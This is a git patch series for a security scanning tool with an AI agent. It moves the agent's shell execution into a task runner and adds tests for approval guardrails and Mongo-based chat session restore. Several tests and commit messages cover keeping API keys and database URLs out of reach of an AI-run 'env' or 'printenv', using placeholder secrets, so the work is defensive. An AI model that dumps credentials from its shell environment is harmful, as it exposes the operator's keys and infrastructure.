sudo_password else None, diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 7e80ea6a4..9abb82691 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -15,6 +15,7 @@ _MAX_CHILD_ITERATIONS, _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, _MAX_SHELL_OUTPUT_CHARS, _truncate, ) + from secator.runners import Task from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -149,58 +150,130 @@ def test_shell_dry_run(self): self.assertIn('DRY RUN', results[0].message) self.assertIn('whoami', results[0].message) - @patch('secator.ai.actions.subprocess.run') - def test_shell_execution(self, mock_run): - mock_run.return_value = MagicMock(stdout='root\n', stderr='') + def test_shell_execution(self): + """Real integration test: `_handle_shell` dispatches the actual `command` task + (no driver -> no persistence, but it still runs) and surfaces its stdout.""" ctx = ActionContext(targets=['t.com'], model='m') - results = list(_handle_shell({'action': 'shell', 'command': 'whoami'}, ctx)) + results = list(_handle_shell({'action': 'shell', 'command': 'echo hello'}, ctx)) self.assertEqual(len(results), 2) # First: the command being run self.assertIsInstance(results[0], Ai) self.assertEqual(results[0].ai_type, 'shell') - self.assertEqual(results[0].content, 'whoami') + self.assertEqual(results[0].content, 'echo hello') # Second: the output self.assertIsInstance(results[1], Ai) self.assertEqual(results[1].ai_type, 'shell_output') - self.assertIn('root', results[1].content) + self.assertIn('hello', results[1].content) + + @patch('secator.tasks.command.command') + def test_shell_dispatches_command_task_with_parent_context(self, mock_task_cls): + """The shell command must run as a `command` task carrying the parent's context + (notably `session_id`), so it persists nested under the conversation.""" + fake_runner = MagicMock() + fake_runner.id = 'task_abc' + fake_runner.output = 'hello' + mock_task_cls.return_value = fake_runner + + ctx = ActionContext(targets=['t.com'], model='m', session_id='sess-123') + results = list(_handle_shell({'action': 'shell', 'command': 'echo hello'}, ctx)) + + # CommandTask constructed with the raw command line as its sole input (first + # positional arg, since we instantiate the concrete class directly). + call_args = mock_task_cls.call_args + self.assertEqual(call_args[0][0], ['echo hello']) + captured_context = call_args[1]['context'] + self.assertEqual(captured_context.get('session_id'), 'sess-123') + + fake_runner.run.assert_called_once() + self.assertEqual(fake_runner.max_timeout, 60) - @patch('secator.ai.actions.subprocess.run') - def test_shell_stderr(self, mock_run): - mock_run.return_value = MagicMock(stdout='', stderr='error msg') - ctx = ActionContext(targets=['t.com'], model='m') + self.assertEqual(results[0].ai_type, 'shell') + # The shell Ai must carry the UI-linking extra_data (runner_type + runner_id) + # so a future regression in that wiring is caught. + self.assertEqual(results[0].extra_data.get('runner_type'), 'task') + self.assertTrue(results[0].extra_data.get('runner_id')) + self.assertEqual(results[-1].ai_type, 'shell_output') + self.assertIn('hello', results[-1].content) + + @patch('secator.tasks.command.command') + def test_shell_passes_sanitized_env(self, mock_task_cls): + """SECURITY: the sanitized process env is passed via the `env` run_opt so an + AI-run `env`/`printenv` can't dump the LLM key / cloud creds into output that + reaches the LLM + Mongo.""" + import os as _os + fake_runner = MagicMock() + fake_runner.id = 'task_abc' + fake_runner.output = '' + mock_task_cls.return_value = fake_runner + + with patch.dict(_os.environ, {'ANTHROPIC_API_KEY': 'sk-secret', 'HOME': '/home/x'}): + ctx = ActionContext(targets=['t.com'], model='m') + list(_handle_shell({'action': 'shell', 'command': 'env'}, ctx)) + + # run_opts are spread as kwargs (command takes **run_opts), so `env` is a + # top-level kwarg, not nested under a `run_opts` kwarg. + passed_env = mock_task_cls.call_args[1]['env'] + self.assertNotIn('ANTHROPIC_API_KEY', passed_env) + # a benign var still passes through so the command can actually run + self.assertEqual(passed_env.get('HOME'), '/home/x') + + @patch('secator.ai.actions._build_child_hooks_or_denial') + def test_shell_extracts_task_hooks_and_they_fire(self, mock_hooks): + """REGRESSION GUARD (live-Mongo bug): _build_child_hooks_or_denial returns a + CLASS-keyed dict ({Task: {on_end: [...]}, ...}). Direct `command` instantiation + bypasses the Task wrapper that would extract the Task sub-dict, so _handle_shell + must extract `hooks.get(Task, {})` itself — otherwise register_hooks resolves + nothing and the mongodb persistence hooks never fire (command runs SUCCESS but + no doc is persisted). This asserts the extraction happened AND the hook actually + fired during the real run — a flat-dict mock cannot catch the extraction bug. + """ + fired = [] + + def sentinel(runner): + fired.append(runner) + return runner # on_end convention: return the runner + + mock_hooks.return_value = ({Task: {'on_end': [sentinel]}}, None) - results = list(_handle_shell({'action': 'shell', 'command': 'bad'}, ctx)) + ctx = ActionContext(targets=['t.com'], model='m') + results = list(_handle_shell({'action': 'shell', 'command': 'echo hi'}, ctx)) - self.assertEqual(results[1].content, 'error msg') + # The class-keyed dict was extracted to the Task sub-dict, so the on_end hook + # resolved and fired against the real command runner. + self.assertTrue(fired, "on_end hook did not fire — Task sub-dict was not extracted") + self.assertEqual(results[-1].ai_type, 'shell_output') + self.assertIn('hi', results[-1].content) - @patch('secator.ai.actions.subprocess.run') - def test_shell_no_output(self, mock_run): - mock_run.return_value = MagicMock(stdout='', stderr='') + def test_shell_no_output(self): ctx = ActionContext(targets=['t.com'], model='m') results = list(_handle_shell({'action': 'shell', 'command': 'true'}, ctx)) self.assertEqual(results[1].content, '(no output)') - @patch('secator.ai.actions.subprocess.run') - def test_shell_exception(self, mock_run): - mock_run.side_effect = Exception('Command timed out') + @patch('secator.tasks.command.command') + def test_shell_exception(self, mock_task_cls): + mock_task_cls.side_effect = Exception('Command timed out') ctx = ActionContext(targets=['t.com'], model='m') results = list(_handle_shell({'action': 'shell', 'command': 'slow'}, ctx)) - # shell Ai + Error - self.assertEqual(len(results), 2) - self.assertIsInstance(results[1], Error) - self.assertIn('failed', results[1].message) + # Only the Error (the shell Ai is emitted AFTER construction, which never + # succeeds here). + self.assertEqual(len(results), 1) + self.assertIsInstance(results[0], Error) + self.assertIn('failed', results[0].message) - @patch('secator.ai.actions.subprocess.run') - def test_shell_output_capped_when_over_limit(self, mock_run): + @patch('secator.tasks.command.command') + def test_shell_output_capped_when_over_limit(self, mock_task_cls): # M1: huge stdout must be truncated to <= cap + marker and carry the marker. big = "HEAD_LINE\n" + ("x" * (_MAX_SHELL_OUTPUT_CHARS * 3)) + "\nTAIL_LINE" - mock_run.return_value = MagicMock(stdout=big, stderr='') + fake_runner = MagicMock() + fake_runner.id = 'task_abc' + fake_runner.output = big + mock_task_cls.return_value = fake_runner ctx = ActionContext(targets=['t.com'], model='m') results = list(_handle_shell({'action': 'shell', 'command': 'dump'}, ctx)) @@ -214,15 +287,14 @@ def test_shell_output_capped_when_over_limit(self, mock_run): self.assertIn('HEAD_LINE', content) self.assertIn('TAIL_LINE', content) - @patch('secator.ai.actions.subprocess.run') - def test_shell_output_short_passes_through_unchanged(self, mock_run): - # M1: short output must pass through untouched (no marker). - mock_run.return_value = MagicMock(stdout='root\n', stderr='') + def test_shell_output_short_passes_through_unchanged(self): + # M1: short output must pass through untouched (no marker). The `command` + # runner rstrips its captured output, so a trailing newline is not expected. ctx = ActionContext(targets=['t.com'], model='m') - results = list(_handle_shell({'action': 'shell', 'command': 'whoami'}, ctx)) + results = list(_handle_shell({'action': 'shell', 'command': 'echo root'}, ctx)) - self.assertEqual(results[1].content, 'root\n') + self.assertEqual(results[1].content, 'root') self.assertNotIn('truncated', results[1].content) def test_truncate_short_text_unchanged(self): diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index b628bc1f6..f0d3e856f 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -24,6 +24,21 @@ from secator.output_types import Ai +def _fake_command_runner(output): + """Build a fake `command` runner instance for patching secator.tasks.command.command. + + The AI shell path now runs commands as the `command` task (not subprocess.run), so + these E2E flows patch the class at its source and hand back an instance exposing the + fields _handle_shell reads: `.output` (captured stdout), `.id`, `.status`, a callable + `.run()`, and a settable `.max_timeout`. Mirrors the fake used in TestHandleShell. + """ + fake = MagicMock() + fake.output = output + fake.id = "task_fake" + fake.status = "SUCCESS" + return fake + + def _make_tool_call(name, args, tc_id=None): """Create a mock litellm tool call object.""" tc = MagicMock() @@ -517,8 +532,8 @@ def mock_approve(command, reason="", interactive=True): mock_shell_prompt.assert_called_once() # Dispatch the approved action - with patch('secator.ai.actions.subprocess.run') as mock_run: - mock_run.return_value = MagicMock(stdout="exploit output\n", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("exploit output") results1 = list(dispatch_action(shell_action, ctx)) # Verify shell output was produced @@ -598,8 +613,8 @@ def mock_ask(question="", choices=None, session_id="", prompt_type="", **kwargs) self.assertIsNone(denial, f"Expected approval but got: {denial}") # Dispatch the approved action - with patch('secator.ai.actions.subprocess.run') as mock_run: - mock_run.return_value = MagicMock(stdout="exploit output\n", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("exploit output") results1 = list(dispatch_action(shell_action, ctx)) ai_results = [r for r in results1 if isinstance(r, Ai)] @@ -705,8 +720,8 @@ def test_allowed_command_runs_in_auto_mode(self): denial, warnings = check_guardrails(action, ctx) self.assertIsNone(denial) - with patch('secator.ai.actions.subprocess.run') as mock_run: - mock_run.return_value = MagicMock(stdout="response data", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("response data") results = list(dispatch_action(action, ctx)) ai_results = [r for r in results if isinstance(r, Ai)] @@ -839,8 +854,8 @@ def test_multi_turn_local_loop(self): self.assertIsNone(denial) # Dispatch - with patch('secator.ai.actions.subprocess.run') as mock_subprocess: - mock_subprocess.return_value = MagicMock(stdout="scan results\n", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("scan results") results1 = list(dispatch_action(action, ctx)) self.assertTrue(any(isinstance(r, Ai) and r.ai_type == "shell_output" for r in results1)) @@ -923,8 +938,8 @@ def mock_ask(question="", choices=None, session_id="", prompt_type="", **kwargs) self.assertIsNone(denial, f"Expected remote approval but got: {denial}") # Dispatch (mock subprocess only around dispatch_action) - with patch('secator.ai.actions.subprocess.run') as mock_subprocess: - mock_subprocess.return_value = MagicMock(stdout="scan results\n", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("scan results") results1 = list(dispatch_action(action, ctx)) self.assertTrue(any(isinstance(r, Ai) and r.ai_type == "shell_output" for r in results1)) @@ -994,8 +1009,8 @@ def test_multi_turn_auto_loop(self): denial2, _ = check_guardrails(action2, ctx) self.assertIsNone(denial2, "Allowed command should pass in auto mode") - with patch('secator.ai.actions.subprocess.run') as mock_subprocess: - mock_subprocess.return_value = MagicMock(stdout="output\n", stderr="") + with patch('secator.tasks.command.command') as mock_cmd: + mock_cmd.return_value = _fake_command_runner("output") results = list(dispatch_action(action2, ctx)) self.assertTrue(any(isinstance(r, Ai) and r.ai_type == "shell_output" for r in results)) diff --git a/tests/unit/test_command_task.py b/tests/unit/test_command_task.py index 50d020afa..99f8322cb 100644 --- a/tests/unit/test_command_task.py +++ b/tests/unit/test_command_task.py @@ -1,3 +1,4 @@ +import os import unittest from unittest import mock @@ -57,6 +58,52 @@ def test_is_a_command_subclass(self): """Sanity check on the inheritance the rest of the PR relies on.""" self.assertTrue(issubclass(command, Command)) + def test_env_run_opt_is_honored(self): + """A custom `env` run_opt overrides the process env for the subprocess. + + The AI shell handler relies on this to pass a SANITIZED env (LLM key / cloud + creds stripped) so an AI-run `env`/`printenv` can't leak them. PATH is included + so /bin/sh can still resolve the shell builtin. Opts are spread as kwargs + (command takes **run_opts) so `env` actually reaches self.run_opts. + """ + custom_env = {'FOO': 'bar', 'PATH': os.environ.get('PATH', '')} + runner = command( + ['echo $FOO'], + sync=True, print_line=False, print_item=False, env=custom_env, + ) + runner.run() + self.assertEqual(runner.status, 'SUCCESS') + self.assertIn('bar', runner.output) + + def test_no_env_run_opt_uses_process_env(self): + """Control: with no `env` run_opt, the subprocess inherits the process env + (default behavior unchanged).""" + with mock.patch.dict(os.environ, {'SECATOR_ENV_PROBE': 'present'}): + runner = command( + ['echo $SECATOR_ENV_PROBE'], + sync=True, print_line=False, print_item=False, + ) + runner.run() + self.assertEqual(runner.status, 'SUCCESS') + self.assertIn('present', runner.output) + + def test_empty_env_run_opt_is_honored(self): + """An explicit empty `env={}` must be honored (deliberate empty environment), + NOT silently fall back to the full process env — otherwise a caller asking for a + locked-down env would leak every process var. Guards the `.get('env', os.environ)` + (vs truthiness `or os.environ`) semantics. + """ + with mock.patch.dict(os.environ, {'ANTHROPIC_API_KEY': 'sk-leakme'}): + runner = command( + ['echo "[$ANTHROPIC_API_KEY]"'], + sync=True, print_line=False, print_item=False, env={}, + ) + runner.run() + self.assertEqual(runner.status, 'SUCCESS') + # With an empty env the var is unset, so the shell expands it to nothing. + self.assertNotIn('sk-leakme', runner.output) + self.assertIn('[]', runner.output) + class TestCommandFromResult(unittest.TestCase): """`command.from_result` imports an already-run command's result into a runner doc, From 1e946ce6d50ca68cc881ed1df240f8926b4f7674 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 00:24:24 +0200 Subject: [PATCH 088/129] fix(runners): exclude env run_opt from persisted resolved_opts The AI shell handler passes a sanitized env via run_opts so an in-process command runner's subprocess (command.py reads run_opts['env']) can't leak LLM/cloud creds into output. But resolved_opts -> toDict() -> the mongodb driver persisted every run_opt, writing the whole denylist-sanitized process env (DB URLs, internal hostnames the denylist misses) into each AI-shell runner doc and the runner-list API. Keep env runtime-only. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/runners/_base.py | 2 +- tests/unit/test_command_task.py | 17 +++++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/secator/runners/_base.py b/secator/runners/_base.py index 682d3a86c..d5d42134d 100644 --- a/secator/runners/_base.py +++ b/secator/runners/_base.py @@ -287,7 +287,7 @@ def _process_config(self, config): @property def resolved_opts(self): - return {k: v for k, v in self.run_opts.items() if v is not None and not k.startswith('print_') and not k.endswith('_')} # noqa: E501 + return {k: v for k, v in self.run_opts.items() if v is not None and not k.startswith('print_') and not k.endswith('_') and k != 'env'} # noqa: E501 @property def resolved_print_opts(self): diff --git a/tests/unit/test_command_task.py b/tests/unit/test_command_task.py index 99f8322cb..d6dc7eada 100644 --- a/tests/unit/test_command_task.py +++ b/tests/unit/test_command_task.py @@ -104,6 +104,23 @@ def test_empty_env_run_opt_is_honored(self): self.assertNotIn('sk-leakme', runner.output) self.assertIn('[]', runner.output) + def test_env_run_opt_is_not_persisted(self): + """The `env` run_opt must be runtime-only, NOT persisted into the runner doc. + + `resolved_opts` -> `toDict()['run_opts']` is written to Mongo by the mongodb driver + and exposed via the runner-list API. Persisting `env` would write the whole (denylist- + sanitized) process environment — DB URLs, internal hostnames, etc. that the denylist + misses — into every AI-shell runner's history, a broader disclosure than the command's + own output. `resolved_opts` excludes `env` so the subprocess still reads it from + `run_opts` (command.py) but it never reaches the persisted doc. + """ + custom_env = {'FOO': 'bar', 'DATABASE_URL': 'postgres://u:pw@host', 'PATH': os.environ.get('PATH', '')} + runner = command(['echo hi'], sync=True, print_line=False, print_item=False, env=custom_env) + persisted_opts = runner.toDict()['run_opts'] + self.assertNotIn('env', persisted_opts) + # sanity: the runner still holds env at runtime for the subprocess to use + self.assertEqual(runner.run_opts.get('env'), custom_env) + class TestCommandFromResult(unittest.TestCase): """`command.from_result` imports an already-run command's result into a runner doc, From 2de2a87d36e61e3fdecc45ca41c0004fa3554a2e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 23 Jun 2026 18:46:42 +0200 Subject: [PATCH 089/129] feat: headless Mongo session restore for remote AI chat MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the two secator-core gaps for the Workspace AI Assistant (Mongo-channel chat), repo 1/3: - `restore_history_from_db(session_id, query_engine, model, encryptor, system_prompt)` in `secator/ai/session.py`: rebuilds a `ChatHistory` from the workspace `_type:"ai"` docs (queried by session_id, ordered by `_timestamp`) — `prompt`→user, `response`→assistant, system prompt set, re-encrypted when an encryptor is active. Headless: no local files, no TUI. - Wire a remote-resume branch in `ai.py:yielder`: when `interactive="remote"` and the session has prior `_type:"ai"` docs, restore from Mongo and continue; fresh conversations (no docs) start as before. The local CLI `replay_session`/`show_session_picker` path is untouched. - `session_id` now prefers `run_opts.context.session_id` so a respawned task finds its prior docs. - `save_history` (local `history.json`) is skipped on the remote path via a `_save_history()` helper — the Mongo docs are the source of truth. - Query-engine guard: warn when `interactive="remote"` but the resolved query backend is not mongodb/api (the web answer channel can't work otherwise). History-fidelity finding: persisted `_type:"ai"` docs capture only text turns (prompt/response) plus action *display* records — not the litellm assistant `tool_calls` messages or their `tool` results. Restore is therefore text-only. This is valid and sufficient for `mode="chat"` continuation; fabricating partial tool-call messages would produce a malformed transcript providers reject, so tool activity is deliberately collapsed. Richer assistant persistence for `mode="attack"` replay is a documented follow-up. Tests: `tests/unit/test_ai_session.py` — restore rebuilds equivalent History (order/roles/system/encryption/empty-docs/search-failure), and the remote-resume branch picks Mongo restore for prior docs / fresh otherwise / warns on non-Mongo backend. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/session.py | 65 ++++++++++++ secator/tasks/ai.py | 119 ++++++++++++++++++--- tests/unit/test_ai_session.py | 188 ++++++++++++++++++++++++++++++++++ 3 files changed, 360 insertions(+), 12 deletions(-) create mode 100644 tests/unit/test_ai_session.py diff --git a/secator/ai/session.py b/secator/ai/session.py index 3023b533a..ea1ffae48 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -177,3 +177,68 @@ def replay_session(session): except (json.JSONDecodeError, OSError) as e: console.print(Error(message=f'Failed to load history: {e}')) return None + + +def restore_history_from_db(session_id, query_engine, model=None, encryptor=None, system_prompt=None): + """Rebuild an in-memory ChatHistory from the workspace's `_type:"ai"` Mongo docs. + + Headless equivalent of ``replay_session`` for the remote (web) path: a + respawned ``ai`` task on a different worker pod has no local report files, so + the conversation is rebuilt from the channel docs themselves (queried by + ``session_id``, ordered by ``_timestamp``). + + This is a **text-only** restore. Only the user turns (``ai_type="prompt"``) + and assistant turns (``ai_type="response"``) are reconstructed as litellm + ``user``/``assistant`` messages. Intermediate tool-call / tool-result + messages are NOT persisted as ``_type:"ai"`` docs (only their human-readable + action display is), so they cannot be replayed verbatim. Fabricating + assistant ``tool_calls`` messages without their matching ``tool`` results + would produce a malformed transcript that most providers reject, so we + deliberately collapse tool activity into the surrounding text turns. This is + sufficient for ``mode="chat"`` continuation (the assistant text already + summarises what it did); for ``mode="attack"`` the intermediate tool I/O is + not replayed. See the feature spec for the richer-persistence follow-up. + + Args: + session_id: The conversation's session id (UUID generated by the UI). + query_engine: A ``QueryEngine`` (must resolve to the workspace Mongo + backend for the docs to be visible). + model: Optional LLM model name to set on the returned history. + encryptor: Optional ``SensitiveDataEncryptor``. Persisted docs hold + plaintext (response content is decrypted before it is yielded), so + when an encryptor is active we re-encrypt restored turns to keep the + in-memory convention (encrypted) consistent with a fresh run. + system_prompt: Optional system prompt to set as the first message. + + Returns: + ChatHistory: The rebuilt history (possibly with only a system prompt if + no prior docs exist). + """ + from secator.ai.history import ChatHistory + from secator.ai.encryption import maybe_encrypt + + history = ChatHistory(model=model) + if system_prompt is not None: + history.set_system(maybe_encrypt(system_prompt, encryptor)) + + try: + docs = query_engine.search({'_type': 'ai', 'session_id': session_id}) + except Exception as e: # noqa: BLE001 - backend errors must not crash the worker + console.print(Warning(message=f'Failed to restore session from DB: {e}')) + return history + + docs = sorted(docs or [], key=lambda d: d.get('_timestamp', 0)) + for doc in docs: + ai_type = doc.get('ai_type') + content = doc.get('content', '') + if not content: + continue + if ai_type == 'prompt': + history.add_user(maybe_encrypt(content, encryptor)) + elif ai_type == 'response': + history.add_assistant(maybe_encrypt(content, encryptor)) + # All other ai_types (action displays, follow_up/permission prompts, + # shell_output, summaries) are channel/UX artifacts, not conversation + # turns — intentionally skipped for a valid litellm transcript. + + return history diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 0f7ca0e2d..93dd4be4b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -25,7 +25,7 @@ load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, TOOL_SCHEMAS -from secator.ai.session import save_history, show_session_picker, replay_session +from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -147,6 +147,13 @@ def yielder(self) -> Generator: if not self.model: return + # Remote (web) resume: a respawned chat task restores its history from the + # workspace Mongo `_type:"ai"` docs (headless — no local files, no TUI). + if self.interactive == "remote": + restored = yield from self._maybe_resume_remote() + if restored: + return + # Resume session if self.resume and not self.is_subagent: session = show_session_picker() @@ -161,7 +168,7 @@ def yielder(self) -> Generator: self._reports_folder = session['folder'] result = self._prompt_and_redetect([]) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return self.context["session_name"] = self.session_name yield from result @@ -209,6 +216,91 @@ def yielder(self) -> Generator: # Run loop yield from self._run_loop() + # ------------------------------------------------------------------------- + # Remote (web) session restore + # ------------------------------------------------------------------------- + + def _get_query_engine(self): + """Build a workspace-scoped QueryEngine from the runner context. + + The backend (mongodb/api/local) is resolved from ``context['drivers']`` + via ``QueryEngine._select_backend``. For the remote channel the API + appends the ``mongodb`` driver on dispatch, so this resolves to the + workspace Mongo backend. + """ + from secator.query import QueryEngine + return QueryEngine(self.context.get("workspace_id", ""), context=dict(self.context)) + + def _maybe_resume_remote(self): + """Restore chat history from Mongo when a remote session has prior docs. + + Returns True (via generator return) if this turn was fully handled as a + respawn (history restored, loop run), False to fall through to a fresh + conversation. Yields any items produced along the way. + """ + query_engine = self._get_query_engine() + + # Guard: remote interactivity requires a Mongo-backed query engine, else + # the RemoteBackend poll can never see the web answer (and restore can't + # read the channel docs). Warn loudly but don't hard-fail a fresh run. + backend_name = getattr(query_engine.backend, "name", "") + if backend_name not in ("mongodb", "api"): + yield Warning( + message=f'interactive="remote" but query engine resolved to "{backend_name}" backend ' + '(expected mongodb/api). The web answer channel will not work — check that the ' + '`mongodb` driver is in the runner context.' + ) + + # Look for prior `_type:"ai"` docs for this session + try: + prior = query_engine.search({"_type": "ai", "session_id": self.session_id}, limit=1) + except Exception as e: # noqa: BLE001 - backend errors must not crash the worker + self.debug(f'remote resume: failed to query prior docs: {e}', sub='llm') + prior = None + + if not prior: + # Fresh conversation: nothing to restore, fall through to normal start. + return False + + # Resolve the user's new prompt (the message that triggered this respawn) + self.prompt = self.run_opts.get("prompt", "") + if self.prompt and Path(self.prompt).is_file(): + self.prompt = Path(self.prompt).read_text().strip() + + # Session metadata + if not self.session_name: + self.session_name = (self.prompt[:80] + '...') if self.prompt and len(self.prompt) > 80 else self.prompt + self.context["session_name"] = self.session_name + + # Detect mode (defaults to chat) and build the system prompt + tools + self._detect_mode() + self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + + # Rebuild history from the channel docs (text-only; see restore_history_from_db) + self.history = restore_history_from_db( + self.session_id, query_engine, model=self.model, + encryptor=self.encryptor, system_prompt=self.system_prompt) + self.history.model = self.model + + # Append the new user message that respawned the conversation + if self.prompt: + self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) + yield Ai(content=self.prompt, ai_type="prompt", session_id=self.session_id) + + yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 + yield from self._run_loop() + return True + + def _save_history(self): + """Persist chat history to the local reports folder, unless on the remote path. + + For the remote (web) channel the workspace Mongo `_type:"ai"` docs are the + source of truth, so the local `history.json` write is skipped. + """ + if self.interactive == "remote": + return + save_history(self.history, self.reports_folder, debug_fn=self.debug) + # ------------------------------------------------------------------------- # _run_loop: main LLM interaction loop # ------------------------------------------------------------------------- @@ -286,7 +378,7 @@ def _run_loop(self) -> Generator: yield Warning(message="LLM returned empty response") if empty_streak >= 3: yield Error(message="3 consecutive empty responses - the model may not support tool calling. Stopping.") - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return continue @@ -343,7 +435,7 @@ def _run_loop(self) -> Generator: # Stop tool → save and exit if stop_reason is not None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return # Follow-up / content-only / max_iter → prompt user @@ -356,7 +448,7 @@ def _run_loop(self) -> Generator: result = self._prompt_and_redetect(follow_up_choices or []) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield from result continue @@ -370,7 +462,7 @@ def _run_loop(self) -> Generator: yield Warning(message="Interrupted by user.") result = self._prompt_and_redetect([]) if result is None: - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield from result continue @@ -384,7 +476,7 @@ def _run_loop(self) -> Generator: elif isinstance(e, litellm.AuthenticationError): yield Error(message=str(e)) yield Error(message='Please set a valid API key with `secator config set addons.ai.api_key `') - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return elif isinstance(e, litellm.APIConnectionError) or ( isinstance(e, litellm.InternalServerError) and 'connection error' in str(e).lower() @@ -395,13 +487,13 @@ def _run_loop(self) -> Generator: # to avoid swallowing unrelated upstream 500 errors. yield Error(message=f"Cannot connect to model '{self.model}': {e}") yield Error(message='Check api_base and connectivity: `secator config set addons.ai.api_base `') - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return yield Error.from_exception(e) - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() return - save_history(self.history, self.reports_folder, debug_fn=self.debug) + self._save_history() yield Info(message=f"Reached max iterations ({iteration}/{self.max_iterations})") # ------------------------------------------------------------------------- @@ -455,8 +547,11 @@ def _init_options(self): workspace=self.reports_folder or "" ) - # Create interactivity backend - self.session_id = self.session_name or str(self.id) + # Create interactivity backend. + # For the remote (web) channel, the UI generates a stable session_id and + # reuses it verbatim on respawn (passed in run_opts.context.session_id); + # prefer it so a respawned task can find its prior `_type:"ai"` docs. + self.session_id = self.passed_context.get("session_id") or self.session_name or str(self.id) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) # Auto-approve workspace targets diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py new file mode 100644 index 000000000..b371213d8 --- /dev/null +++ b/tests/unit/test_ai_session.py @@ -0,0 +1,188 @@ +"""Tests for secator.ai.session restore_history_from_db + remote resume branch.""" +import tempfile +import unittest +from unittest.mock import MagicMock, patch + + +class TestRestoreHistoryFromDB(unittest.TestCase): + """Verify restore_history_from_db rebuilds an equivalent ChatHistory from Mongo docs.""" + + def _docs(self): + # Intentionally out of timestamp order to verify sorting. + return [ + {"_type": "ai", "ai_type": "response", "content": "Hi, how can I help?", "_timestamp": 2}, + {"_type": "ai", "ai_type": "prompt", "content": "Hello", "_timestamp": 1}, + {"_type": "ai", "ai_type": "shell", "content": "nmap -p- host", "_timestamp": 3}, + {"_type": "ai", "ai_type": "prompt", "content": "Scan the target", "_timestamp": 4}, + {"_type": "ai", "ai_type": "follow_up", "content": "What next?", "_timestamp": 5}, + {"_type": "ai", "ai_type": "response", "content": "Found 2 open ports.", "_timestamp": 6}, + ] + + def test_rebuilds_order_roles_and_system(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = self._docs() + + history = restore_history_from_db( + "session1", engine, model="gpt-4o", system_prompt="SYSTEM PROMPT") + + # Query was scoped to the session + engine.search.assert_called_once_with({"_type": "ai", "session_id": "session1"}) + + # System prompt set, conversation turns in timestamp order, non-turn docs skipped + self.assertEqual(history.messages, [ + {"role": "system", "content": "SYSTEM PROMPT"}, + {"role": "user", "content": "Hello"}, + {"role": "assistant", "content": "Hi, how can I help?"}, + {"role": "user", "content": "Scan the target"}, + {"role": "assistant", "content": "Found 2 open ports."}, + ]) + self.assertEqual(history.model, "gpt-4o") + + def test_no_prior_docs_returns_system_only(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [] + + history = restore_history_from_db("s2", engine, system_prompt="SYS") + self.assertEqual(history.messages, [{"role": "system", "content": "SYS"}]) + + def test_no_system_prompt_yields_empty_when_no_docs(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [] + + history = restore_history_from_db("s3", engine) + self.assertEqual(history.messages, []) + + def test_empty_content_docs_skipped(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [ + {"ai_type": "prompt", "content": "", "_timestamp": 1}, + {"ai_type": "response", "content": "Real answer", "_timestamp": 2}, + ] + history = restore_history_from_db("s4", engine) + self.assertEqual(history.messages, [{"role": "assistant", "content": "Real answer"}]) + + def test_search_failure_returns_system_only(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.side_effect = RuntimeError("backend down") + + history = restore_history_from_db("s5", engine, system_prompt="SYS") + # Failure must not crash; returns just the system prompt + self.assertEqual(history.messages, [{"role": "system", "content": "SYS"}]) + + def test_encryptor_reencrypts_restored_turns(self): + from secator.ai.session import restore_history_from_db + engine = MagicMock() + engine.search.return_value = [ + {"ai_type": "prompt", "content": "scan 10.0.0.1", "_timestamp": 1}, + ] + encryptor = MagicMock() + encryptor.encrypt.side_effect = lambda t: f"ENC({t})" + + history = restore_history_from_db("s6", engine, encryptor=encryptor) + self.assertEqual(history.messages, [{"role": "user", "content": "ENC(scan 10.0.0.1)"}]) + + +class 